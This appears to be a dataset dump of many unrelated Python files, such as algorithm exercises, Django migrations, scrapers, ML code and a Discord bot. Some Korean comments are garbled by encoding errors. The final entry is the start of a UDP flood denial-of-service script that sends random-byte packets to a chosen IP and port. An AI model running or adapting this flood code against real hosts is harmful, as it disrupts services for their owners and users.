text stringlengths 8 6.05M |
|---|
from time import time
start = time()
sum = 0
for i in range(1,1000):
sum += i ** i
print str(sum)[-10:]
print "Time: {0} secs".format(time()-start) |
# -*- coding: utf-8 -*-
import zmq
import os
# connect and open to ryuData App
# os.system("xterm -e \"python2 ryu-restapi.py\" &")
# os.system("xterm -e \"python2 cpusingle.py\" &")
# time.sleep(5)
# print "Done"
print "Please Wait ....."
import numpy as np
import pandas as pd
import sched
import time
import subp... |
import numpy as np
from numpy import linalg as LA
from matrix_utils import getPMatrix
def matrixForPeriod(layers):
[M1Matrix, M2Matrix] = map(matrixForLayer, layers)
MofTwoMatrix = np.dot(M1Matrix, M2Matrix)
return MofTwoMatrix
def matrixForLayer(layer):
result = np.dot(layer.getPMatrix(), layer.getDMa... |
from torch import nn
class BasePositionalEmbedding(nn.Module):
def __init__(self) -> None:
super().__init__()
# BasePositionalEmbedding must define
# positional_embedding_size
def forward(self, x_embed, i=0, h=None, metadata_dict={}):
return x_embed, h
def forward_step(se... |
# -*- coding: utf-8 -*-
from datetime import datetime
from google.cloud import storage
import os
import requests
import json
# ML๋ก ์ฐ๊ฒฐ๋๋ ์ฃผ์ ์ค์
addr = ''
URL = addr + ''
# Storage Setting
os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = ''
BUCKET_NAME = ''
client = storage.Client()
bucket = client.get_bucket(BUCKET_NAME... |
# A-Z๊น์ง ์ธ๋ฑ์ฑํด์ ๋น๊ตํ ๋ฌธ์์ด๊ณผ ๋น๋์ list ์ ์ธ
alphabet='abcdefghijklmnopqrstuvwxyz'
result=[0 for _ in range (26)]
S=input()
for i in S:
# loop ๋ด์์ ์ธ๋ฑ์ฑํ์ฌ ์กฐ๊ฑด์ ๋ง๋ ์ํ๋ฒณ์ ์ฐพ์ผ๋ฉด
# ๊ฐ์ +1 ํด์ค๋ค
idx = alphabet.find(i)
result[idx] += 1
# ์ฒ์์ int๊ฐ์ผ๋ก initํ์ผ๋ ์๋์๊ฐ์ด ์ถ๋ ฅํ๊ธฐ ์ํด str์ผ๋ก ๊ฐ์ ์นํํจ
result=[str(k) for k in result]
... |
import unittest
factor = lambda n: (i for i in range(1, n + 1) if n % i == 0)
is_prime = lambda n: list(factor(n)) == [1, n]
primes = lambda n: (i for i in range(2, n + 1) if is_prime(i))
INPUT_SAMPLE = """\
20 -> 2 3 5 7 11 13 17 19
"""
class Test(unittest.TestCase):
def test_input_sample(self):
n, r... |
"""
Write a function to find the longest common prefix string amongst an array of strings.
"""
class LCPSolution:
def longestCommonPrefix (self, strs):
"""
:type strs: List[str]
:rtype: str
"""
if len(strs) == 0:
return ""
for i in range(len(strs[0])):
... |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-07-21 19:26
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('experiment', '0014_crowd_members_member_num'),
]
operations = [
migrations.A... |
print(" liu ")
import numpy as np
print(" {}".format(np.ones(1))) |
import test as t
###imprimir menu
miubicacion = "Donostia"
mizona = 1
print("***MENU DE RENFE***")
print("1.- Ida\t")
print("2.- Ida y Vuelta\t")
print("3.- Bono Mensual")
opc=input("Su opcion:")
if opc=="1":
ida()
elif opc=="2":
idayvuelta()
elif opc=="3":
mensual()
else:
... |
my_dict = {'key1': 'value1', 'key2': 'value2'}
# print(my_dict['key1']) # value1
prices_lookup = {'apple': 2.99, 'oranges': 1.99, 'milk': 5.80}
# print(prices_lookup['apple']) # 2.99
d = {'k1': 123, 'k2': [0,1,2], 'k3': {'insideKey': 100}}
# print(d['k2']) # [0, 1, 2]
# print(d['k2'][2]) # 2
# print(d['k3']['insideKe... |
from Bio.SeqIO import parse
import matplotlib.pyplot as plt
import numpy as np
d = np.array([len(r) for r in parse('uniprot_sprot.fasta', 'fasta')])
# print(d)
plt.hist(d[(d > 100) & (d < 400)])
plt.show()
print(len(d))
print(len(d[d > 500]))
print('median', np.median(d))
subset = d[(d > 100) & (d < 400)]
print(le... |
def testEqual(str1,str2):
print(str1==str2)
def reverse(text):
reverse_str=''
for i in range(len(text)-1,-1,-1):
reverse_str = f'{reverse_str}{text[i]}'
return reverse_str
testEqual(reverse("happy"), "yppah")
testEqual(reverse("Python"), "nohtyP")
testEqual(reverse(""), "") |
import numpy
def arrays(arr):
# complete this function
return numpy.array(list(reversed(arr)), float)
|
# Generated by Django 3.1.5 on 2021-03-26 07:54
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main', '0026_auto_20210326_1320'),
]
operations = [
migrations.AlterField(
model_name='userprofile',
name='LastSearc... |
# coding=utf-8
'''
functions to generate embedding for each word and sentences
'''
from functools import reduce
from typing import List
from torch import Tensor
import torch
import numpy as np
import vocab
# look_up the dict to convert to indices and do the padding
def corpus_to_indices(vocab: vocab.Vocab, corpu... |
from collections import defaultdict
def is_permutation(s1, s2):
s1_store = defaultdict(lambda: 0)
for c in s1:
s1_store[c] += 1
for c in s2:
s1_store[c] -= 1
if s1_store[c] < 0:
return False
return True
|
# Generated by Django 2.2 on 2019-09-16 08:25
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('status', '0002_account_displaydownpayment'),
]
operations = [
migrations.AlterField(
model_name='interests',
name='yea... |
# -*- coding: utf-8 -*-
# Generated by Django 1.10.2 on 2016-10-17 02:04
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('evesde', '0002_solarsystem'),
]
operations = [
... |
import time
from concurrent import futures
class sortingAlgorithms(object):
def __init__(self):
pass
def bubbleSort_noThreading(self, arr):
self.arr = arr
for i in range(0, len(self.arr)+1, 1):
swapped = False
for j in range(0, len(self.arr)-1-i, 1):
... |
import math
import unittest
from tree_utils import Node
def build_minimal_bst(array, start, end):
"""Build a minimal height binary search tree given a sorted arry.
Child trees have equal size, so the resulted bst might not be complete.
"""
if start >= end:
return None
mid = (start + end) /... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.Create... |
# Level 14
# http://www.pythonchallenge.com/pc/return/italy.html
from PIL import Image
image = Image.open('wire.png')
delta = [(1, 0), (0, 1), (-1, 0), (0, -1)]
out = Image.new('RGB', [100, 100])
x, y, p = -1, 0, 0
d = 200
while d / 2 > 0:
for v in delta:
steps = d // 2
for s in range... |
import requests
from bs4 import BeautifulSoup
class spider:
def __init__(self):
self.url = "http://vip.lysy90store.xyz/cities"
self.header = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'}
def spider_lysy90(self):
response = requests.get(... |
from __future__ import division
from django.shortcuts import render
from yoolotto.lottery.views import *
from yoolotto.lottery.ticket.views import *
from yoolotto.second_chance.models import *
from yoolotto.user.models import *
from yoolotto.coin.models import *
from yoolotto.lottery.models import LotteryDraw
from yoo... |
class httpencode:
def __init__(self, url, method="PUT", version="HTTP/1.1"):
self.url = url
self.method = method
self.version = version
self.headers = {}
self.body = ""
def addheader(self, key, value):
self.headers[key] = value
def delheader(s... |
from __future__ import (division, print_function)
from WMCore.REST.CherryPyPeriodicTask import CherryPyPeriodicTask
from WMCore.Services.WMStats.WMStatsWriter import WMStatsWriter, convertToServiceCouchDoc
class HeartbeatMonitorBase(CherryPyPeriodicTask):
def __init__(self, rest, config):
super(Heartb... |
# Generated by Django 3.2.4 on 2021-06-29 17:51
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('cards', '0002_auto_20210629_1348'),
]
operations = [
migrations.AlterField... |
import random
class Card():
def __init__(self, suit, number):
self.suit = suit
self.number = number
def __repr__(self):
return "{}:{}".format(self.suit, self.number)
class Deck():
suits = ["Spade", "Heart", "Diamond", "Clover"]
numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, ... |
"""Module with the Constants used in the kytos/Kronos."""
DEFAULT_BACKEND = 'INFLUXDB'
BACKENDS = {}
BACKENDS['INFLUXDB'] = {
'USER': 'foo',
'PASS': 'bar',
'PORT': 8086,
'HOST': 'localhost',
'DBNAME': 'kytos',
'POOL_SIZE': 100
}
BACKENDS['CSV'] = {
'USER': 'foo',
'PATH': 'data/'
}
|
if __name__ == "__main__":
x1, y1 = map(int, input().split())
x2, y2 = map(int, input().split())
n = int(input())
dx = abs(x2 - x1)
dy = abs(y2 - y1)
n -= dx
n -= dy
if n < 0 or n % 2 != 0:
print("N")
else:
print("Y")
|
# Linear regression with TF
# from '09_up_and_running_with_tensorflow.jpynb'
#
# Use TF optimizer
#
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
plt.rcParams['axes.labelsize'] = 14
plt.rcParams['xtick.labelsize'] = 12
plt.rcParams['ytick.labelsize'] = 12
from sklearn.datasets import f... |
import matplotlib.pylab as plt
from NeuralNetwork.ShallowNeuralNetwork.testCases import *
import sklearn.linear_model
from NeuralNetwork.ShallowNeuralNetwork.planar_utils import plot_decision_boundary, load_planar_dataset
X, Y = load_planar_dataset()
plt.scatter(X[0, :], X[1, :], c=np.squeeze(Y), s=40, cmap=plt.cm.Spe... |
#!/usr/bin/python3
"""MyInt"""
class MyInt(int):
"""inherits from int, has == and != inverted"""
def __eq__(self, value):
"""overiding == operator"""
return self.real != value
def __ne__(self, value):
"""overriding != operator"""
return self.real == value
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.4 on 2017-01-27 13:56
from __future__ import unicode_literals
from django.db import migrations, models
import question.models
class Migration(migrations.Migration):
dependencies = [
('question', '0005_auto_20170115_1759'),
]
operations = [
... |
from django.conf.urls import url
from django.urls import include
from rest_framework import routers
from articles.views import ArticleViewSet, ArticleChangesListViewSet, SetCurrentChangeSetView
router = routers.DefaultRouter()
router.register(r'article', ArticleViewSet)
router.register(r'article_changeset', A... |
# import re
# file = open("cleaned.csv", 'w', encoding='utf-8')
# file.write("PID,Player,Team,Apps,Minutes,Goals,Assists,xG,xA,xG90,xA90\n")
# for line in open("test.txt", encoding='utf-8'):
# #line = line.replace("\+\d.\d\d\s"," ")
# line = re.sub(r"\+\d.\d\d\s", " ", line)
# line = re.sub(r"\-\d.\d\d\s", " ", li... |
####THIS FILE USES THE DICTIONARY TO EXTRACT ASPECTS RATHER THAN THE
####SEMANTIC DIFFERENCE. USE BWT_PROCESS_SENTENCE.PY IF YOU WANT SEMANTIC DIFFERENCE
import csv
import string
import re
from nltk.corpus import wordnet as wn
from nltk.tokenize import sent_tokenize, word_tokenize
from nltk import pos_tag
from nltk.st... |
with open('rule.txt') as f:
id = ''
lines = f.readlines()
for line in lines:
id = line.split(' ')[0]
print(id) |
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister, execute, Aer
#Subroutines
# Carry
c_c = QuantumRegister(1)
a_c = QuantumRegister(1)
b_c = QuantumRegister(2)
carry = QuantumCircuit(c_c, a_c, b_c, name="carry")
carry.ccx(a_c[0], b_c[0], b_c[1])
carry.cx(a_c[0], b_c[0])
carry.ccx(c_c[0], b_c[0], ... |
#!/usr/bin/env python
import copy
import fuel.datasets
import fuel.schemes
import fuel.streams
import fuel.transformers
import itertools
import numpy as np
import scipy.signal
import sys
import time
N_L0_UNITS = 25
N_L1_UNITS = 15
N_OUTPUT_UNITS = 10
INPUT_WIDTH = 28
INPUT_HEIGHT = 28
KERNEL_SIZE = 4
KERNELS_COUNT = ... |
symbols = 'AAPL,IBM,MSFT,YHOO,SCO'
print(symbols.lower()) |
#Receba a quantidade de alimento em quilos. Calcule e mostre quantos dias
#durarรก esse alimento sabendo que a pessoa consome 50g ao dia.
qtd=int(input('digite a quantidade da alimento(kg): '))
print(f'o alimento durarรก {qtd/0.050} dias') |
from game.items.item import Hatchet
from game.skills import SkillTypes
class IronHatchet(Hatchet):
name = 'Iron Hatchet'
value = 56
skill_requirement = {SkillTypes.woodcutting: 1}
equip_requirement = {SkillTypes.attack: 10}
damage = 61
accuracy = 202 |
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.patches as patch
import matplotlib.gridspec as gs
from DataGen import *
from DataHandle import *
#this file needs reviewing, methods may be obsolete and/or outdated
def plot_25_ims(outlines = False): #plots a 5x5 grid of images as exampl... |
# Generated by Django 2.1.1 on 2018-10-23 03:20
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('app', '0002_auto_20181023_0319'),
]
operations = [
migrations.AlterField(
model_name='comment',
... |
# -*- coding: utf-8 -*-
import scrapy
from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import CrawlSpider, Rule
from mySunPro.items import MysunproItem, MyDetailItem
# http://wz.sun0769.com/political/index/politicsNewest
class SunSpider(CrawlSpider):
name = 'sun'
# allowed_domains = ['wz.su... |
# https://github.com/Rapptz/discord.py/blob/async/examples/reply.py was used for basic blueprints for the rest of this project
# Uses discord.py
import discord
import datetime
import asyncio
import time
import random
import os
TOKEN = os.environ.get('TOKEN')
client = discord.Client()
a = datetime.datetime.today().we... |
#Remember to comment code
#This program will take 2 integers and multiply them
#Input
#The input function returns the string that the user enters
#All inputs start as strings
#To change the type, you "cast" it
#Casting is the process of changing type
name = input("Please input your name: ")
a = input("Please input f... |
#!/usr/bin/env python
import sys
from math import fabs
#grab protein and peptide info from diffmass.txt
fn = sys.argv[1]
pro = sys.argv[2]
pep = sys.argv[3]
ref = 0.0
if len(sys.argv)>4:
ref = float(sys.argv[4])
dC = 1.0033548
tol = 0.1 #Da
dd_lst = []
n_count = {}
for i in xrange(4):
n_count[i] = 0
lines = op... |
#้ฉๅฎใใญใธใงใฏใใใจใซ่ฟฝๅ ใใใใกใคใซ
from django.urls import path
from . import views
app_name = 'myapp'
urlpatterns = [
path('', views.Home.as_view(), name='home'),
path('store_setting/', views.store_setting, name='store_setting'),
path('store_show_menu/', views.store_show_menu, name='store_show_menu'),
path('store_... |
import time
from datetime import datetime
import requests
import json
from flask import current_app
from app import logger
from app.exceptions.exceptions import FeishuException
OPER_DICT = {
'PENDING': 'ๅฎกๆนไธญ',
'APPROVED': '้่ฟ',
'REJECTED': 'ๆ็ป',
'CANCELED': 'ๆคๅ',
'DELETED': 'ๅ ้ค'
}
class FeiShu:
... |
# Generated by Django 3.1.3 on 2021-01-12 07:24
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('programmes', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='programme',
name='bullets',
... |
"""
Default Backup Settings
"""
### INCLUDES ###
import os
import string
from py_knife.ordered_dict import OrderedDict
### CONSTANTS ###
## Default Backup Settings ##
# TODO: Add 'MUTLIPLE_TAPE_SYSTEM' to parser
DEFAULT_SETTINGS = OrderedDict()
DEFAULT_SETTINGS['crone_schedule'] = '0 22 * * 1-5'
DEFAULT_SETTINGS['... |
#
# @lc app=leetcode.cn id=383 lang=python3
#
# [383] ่ต้ไฟก
#
# @lc code=start
class Solution:
def canConstruct(self, ransomNote: str, magazine: str) -> bool:
from re import subn
for letter in ransomNote:
magazine, s = subn(letter, '', magazine, 1)
if s != 1:
r... |
#!/usr/bin/python
from __future__ import print_function
from bcc import BPF
from time import sleep, strftime
bpf_text = """
#include <uapi/linux/ptrace.h>
struct key_t {
u32 cpu;
u32 pid;
u32 tgid;
};
BPF_HASH(start, struct key_t);
BPF_HASH(dist, struct key_t);
int pick_start(struct pt_regs *ctx)
{
... |
# -*- coding: utf-8 -*-
"""
Created on Sat Dec 19 11:57:01 2015
@author: bitjoy.net
"""
from bs4 import BeautifulSoup
import urllib.request
import xml.etree.ElementTree as ET
import re
import configparser
def get_news_pool(root, start, end):
news_pool = []
for i in range(start,end,-1):
page_url = ''
... |
/Users/Di/anaconda/lib/python2.7/sre_parse.py |
from Bio import Entrez
handle = open('pubmed_result_tighe.xml')
records = Entrez.parse(handle)
for record in records:
print(record['MedlineCitation']['Article']['ArticleTitle'])
#
|
import re
import json
import sys
import os
from datetime import date
from datetime import datetime
#========= external package==========
from bs4 import BeautifulSoup
import requests
import pandas as pd
from utils import retrieve_symb_list
from utils import make_folder
def replacebill(testo):
outfloat = testo
... |
from openerp.osv import fields, osv
from openerp import api
class invoice_csnumber(osv.osv):
_inherit = 'account.analytic.account'
_columns = {
'cs_number': fields.related('partner_id', 'cs_number', type='char', size=12, string='CS Number', readonly=True),
'branch_code': fields.related('partner... |
import time
"""
Simple graph implementation
"""
from util import Stack, Queue # These may come in handy
class Graph:
"""Represent a graph as a dictionary of vertices mapping labels to edges."""
def __init__(self,vertices = {}):
self.vertices = vertices
def add_vertex(self, vertex_id):
""... |
import os
import subprocess
class UnixCmd(object):
def __cd__(self, path):
self.redirect_stdout('cd', path)
def __ls__(self):
self.redirect_stdout('dir', os.getcwd())
def __cat__(self, fname):
self.redirect_stdout('type', fname)
def __cp__(self, fname, path):
self.red... |
import DocumentProcessorBuilder
def parseCMDArgs(listOfCMDArgs):
def parse_commands(listOfCMDArgs):
second_command = None;
if len(listOfCMDArgs) > 5 :
second_command = listOfCMDArgs[5]
elif len(listOfCMDArgs) < 3:
raise RuntimeError("too few arguments")
de... |
#Predicts likehood of someone having kidney disease based on their mirna
#Predition is based of comparsion of known mirna samples of people diagnosed with kidney disease
import numpy as np
import glob
from collections import OrderedDict
import parser
allMaxesPruned = parser.allMaxesPruned
maxPeople = parser.peopleCo... |
import plotly.plotly as py
import plotly.graph_objs as go
import pandas as pd
import numpy as np
df = pd.read_excel('/Users/bounouamustapha/Desktop/work/all_data.xlsx')
df.index = df['DATE_ARRIVEE']
del df['DATE_ARRIVEE']
def mean_absolute_error(y_true, y_pred):
y_true, y_pred = np.array(y_true), np.array(y_p... |
#
#
# Server Side Modules image manipulation
#
#
from __future__ import print_function
import os
import math
import logging
from sklearn.cross_validation import train_test_split
from sklearn.datasets import fetch_lfw_people
from sklearn.grid_search import GridSearchCV
from sklearn.metrics import classification_report... |
# https://codility.com/programmers/task/missing_integer
def main():
print(solution([1,3,6,4,1,2])) # 5
print(solution([1])) # 2
def solution(A):
numbers = set(A)
length = len(A) + 1
for l in xrange(1,length):
if l not in numbers:
return l
return length
if __name__ == "__main__":
... |
# Generated by Django 4.0.5 on 2022-08-01 19:46
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('accounts', '0017_level_c... |
import numpy as np
import torch
import torch.nn as nn
from torch.autograd import Variable
import math
import torch.nn.functional as F
import pdb
# Domain Confusion Loss
def Entropy(input_):
bs = input_.size(0)
epsilon = 1e-5
entropy = -input_ * torch.log(input_ + epsilon)
entropy = torch.sum(entropy, di... |
"""Advent of Code Day 20 - Particle Swarm"""
import re
import collections
def make_dict():
"""Make a dictionary out of the particle data."""
with open('input.txt') as f:
data = [line.strip() for line in f.readlines()]
particles = {}
for num, particle in enumerate(data):
p, v, a = re.... |
class Solution:
def topKFrequent(self, nums, k):
"""
:type nums: List[int]
:type k: int
:rtype: List[int]
"""
# ๆฏไธชๆฐๅญๅบ็ฐ็ๆฌกๆฐ
frequency = {}
for num in nums:
if num not in frequency:
frequency[num] = 1
else:
... |
# 10, 5, 7, 21, 4, 8, 18 ๋ก ๊ตฌ์ฑ๋๋ ๋ฆฌ์คํธ๋ฅผ ์์ฑํ์ฌ listnum์ ์ ์ฅํ๋ค.
listnum = [10, 5, 7, 21, 4, 8, 18]
# listnum์ ์ ์ฅ๋ ๊ฐ๋ค ์ค์์ ์ต์๊ฐ์ ์ถ์ถํ์ฌ ์ถ๋ ฅํ๋ค.
# ์ต์๊ฐ์ ๊ตฌํ๋ ๊ธฐ๋ฅ์ ํจ์๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ์ ์ด๋ฌธ์ผ๋ก ์ง์ ๊ตฌํํ๋ค.
min_value = listnum[0]
for i in range(1, len(listnum)) :
if min_value > listnum[i] :
min_value = listnum[i]
print('์ต์๊ฐ :', min_value) |
#############
# Notes #
# Lesson 15 #
#############
def add_to_index(index,keyword,url):
for entry in index:
if entry[0] == keyword:
entry[1].append(url)
return
# not found, add a new keyword
index.append([keyword,[url]])
def lookup(index,keyword):
for entry in index... |
class BubbleSort(object):
def sort(self, num):
for i in range (len(num)):
for j in range (i+1,len(num)):
if num[i] > num[j]:
num[i], num[j] = num[j], num[i]
class SelectionSort(object):
def sort(self, num):
for i in range (len(num)):
... |
import numpy as np
from random import *
from multiprocessing import Process, Pipe
from names import *
import math
names = ['Mickael','Thierry','Georges','Antoine']
def format_state(state):
del state['HAS_HIDDEN']
del state['NBR_CARDS']
del state['BET']
new_state = []
for v in s... |
def fecha():
repetir=True
rmes=True
while(repetir==True):
d= input("Introduzca el dia: ")
repetir= ((d<1) or (d>31))
if(repetir==True):
print("ERROR: Dia incorrecto. ")
while(rmes==True):
m= input("Introduzca el mes: ")
rmes= ((m<1) or (m>12)... |
#Momentum
#Preparation-----------------------------------------------------------
# These are the libraries that will be used for this lab.
import torch
import torch.nn as nn
import matplotlib.pylab as plt
import numpy as np
torch.manual_seed(0)
#This function will plot a cubic function and the parameter values obta... |
"""
Set up website, point to index.html and supporting files.
Think MVC not directories...
Orig path: '/LOC/Falcon/Falcon/static'
"""
import bottle as web
import os
# Memory Game
@web.route('/')
@web.route('/<name>')
@web.view('mem_game')
def index(name='Memorizer'):
#path = os.path.dirname(os.path.realpath(__... |
#!/usr/bin/env python3
import sys
import render_pdf
import render_mini_pdf
import pandas as pd
import numpy as np
def get_name_talents(series):
name = series['Name']
talents = (series['S1'], series['S2'], series['S3'], series['S4'], series['S5'])
return (name, talents)
def main(xlfname, output_dir, img... |
import Tugas21m
import matplotlib.pyplot as plt
import numpy as np
Berat = [0.3,0.3,0.25,0.15]
juge = []
data = [["Riky",80,76,80,80],["david",45,80,80,80],["isac",45,80,65,80],["rio",80,80,70,80],["maven",80,77,80,96],["devi",75,80,80,92],["Anggel",78,79,79,79],["Steven",69,72,68,48]]
print ("No.\t|Nama Mhs\t|N.Tgs... |
# -*- coding: utf-8 -*-
#!/usr/bin/env python
#
# Copyright (c) 2017 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: zhangfang
# @Date: 2016-04-17 22:26:22
# @Email: thuzhf@gmail.com
# @Last Modified by: thuzhf
# @Last Modified time: 2016-04-18 00:44:28
from __future__ import print_function,division,unicode_literals,absolute_import
import sys,os,re,json,gzip,math,time,da... |
from django.shortcuts import render, redirect
from django.http import JsonResponse, HttpResponse
from .models import (RfqSupplierHeader,RfqSupplierDetail,
QuotationHeaderSupplier, QuotationDetailSupplier,
PoHeaderSupplier, PoDetailSupplier,
DcHeaderSupplier, D... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Aug 24 03:01:13 2018
"""
import numpy as np
#Meshgrid
k = np.linspace(1,10,10)
kprime = np.linspace(1,10,10)
z = np.array([1,2,3,4])
#(1) Value function format
kk, zz = np.meshgrid(k,z, indexing = 'ij')
#(2) Array for EV (to reduce computi... |
#!/usr/bin/env python3
"""
test for the Clockstate module.
"""
import unittest
from base_test import PschedTestBase
from pscheduler.clockstate import clock_state
class TestClockstate(PschedTestBase):
"""
Clockstate tests.
"""
def test_clockstate(self):
"""Test clockstate"""
cstate... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# _Author_: xiaofengShi
# Date: 2018-03-25 10:50:53
# Last Modified by: xiaofengShi
# Last Modified time: 2018-03-25 10:50:53
'''
referen url๏ผhttps://pastebin.com/9NNk0uMB
1.ๆพไธไธชๅบ็จไบๆฐๅญฆๅ
ฌๅผ่ฏๅซ็ๆฐๆฎ้่ฟ่ก่ฎญ็ป?
2.ไฝฟ็จๅๆ็ๅ
ฌๅผ่ฟ่ก็ๆๅพ็
'''
import os
'''
็ๆๅบๅ็ๅญ็ฌฆ
0-9
'''
|
# Generated by Django 2.1.7 on 2019-04-14 19:28
from django.db import migrations
def copy_data_to_debt_app(apps, schema_editor):
b_AccountHolder = apps.get_model('budget.AccountHolder')
b_Account = apps.get_model('budget.Account')
b_Statement = apps.get_model('budget.Statement')
d_AccountHolder = app... |
#
# gdb helper commands and functions for Linux kernel debugging
#
# Kernel proc information reader
#
# Copyright (c) 2016 Linaro Ltd
#
# Authors:
# Kieran Bingham <kieran.bingham@linaro.org>
#
# This work is licensed under the terms of the GNU GPL version 2.
#
import gdb
from linux import constants
from linux impor... |
from mysql import connector
import mysql.connector.errors
from urllib2 import urlopen
import json
trip_ids=[]
trip_details={}
#db connection object
conn = connector.connect(host='localhost',user='root',passwd='root',db='cubito')
cursor = conn.cursor()
#get trip ids
def getTripId():
for id in range(0,2):
t... |
import csv # https://docs.python.org/3/library/csv.html
# https://django-extensions.readthedocs.io/en/latest/runscript.html
# python3 manage.py runscript many_load
from unesco.models import Category, States, Region, Iso, Site
def run():
fhand = open('unesco/load.csv')
reader = csv.reader(fhand)
next(rea... |
#!/usr/bin/python2
#-*- coding:utf-8 -*-
import shutil
import os
import os.path
import sys
def cp60(args,dirname,filename):
for i in filename:
try:
if i.startswith('snap_60X60_'):
fn = i.replace('snap_60X60_','')
src = dirname + '/' + i
des= dirn... |
from os.path import expanduser
import os
import shutil
HOME = expanduser('~')
CWD = os.getcwd()
def run():
print('Creating your flask application...')
shutil.copytree(
'{}/.new-flask-app/boilerplate'.format(HOME), CWD + '/' + 'app'
)
print('The application was created!')
|
import tkinter as tk
import random
import time
class MainWindow:
def __init__(self, root):
self.root = root
#root = tk.Tk()
self.frameCount = 0
self.frameRate = 0
self.physicsTime = 0
self.paintTime = 0
self.totalProcessTime = 0
self.PIXEL_SIZE = 5
self.WINDOW_SIZE = 700
self.selectedElement = ... |
# (BINARY SEARCH PROBLEM) (O(N Log(d)))
# Cow Stalls problem :
# We are given N stalls and C cows place c cows in n stalls such that largest distance between cows
# is minimum
def check(c, positions, n, distance):
count = 1
last_position = positions[0]
for i in range(1, n):
if positions[i] - last_position >= di... |
# -*- coding: utf-8 -*-
from functools import wraps
import random
import string
import hashlib
import json
import urllib
from flask import session, request, redirect
from models.orm import User
from models.project import project
from zp_web import get_db
__author__ = 'cloudbeer'
def rdm_code(size=8, chars=string.as... |
#!/usr/bin/env python
#Duncan Campbell
#January 29, 2015
#Yale University
#Calculate auto and cross correlation (SF and quenched) of stellar mass threshold samples
#for central quenching mocks
#load packages
from __future__ import print_function
import numpy as np
import h5py
import matplotlib.pyplot as plt
import c... |
#!/usr/bin/env python
""" SQLite with Python - Managing relational SQLite databases """
__author__ = "Saul Moore sm5911@imperial.ac.uk"
__version__ = "0.0.1"
import sqlite3
conn = sqlite3.connect('../Data/test.db') # Create 'test.db'
# To exceute commands, create a 'cursor'
c = conn.cursor()
# Use the cursor to e... |
import threading
import sys
import os
import time
import socket
import random
import time
def attack():
a=3 #number of minutes
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
start = time.time()
#ip = input("IP Target : ")
#port = input("Port : ")
ip="1... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.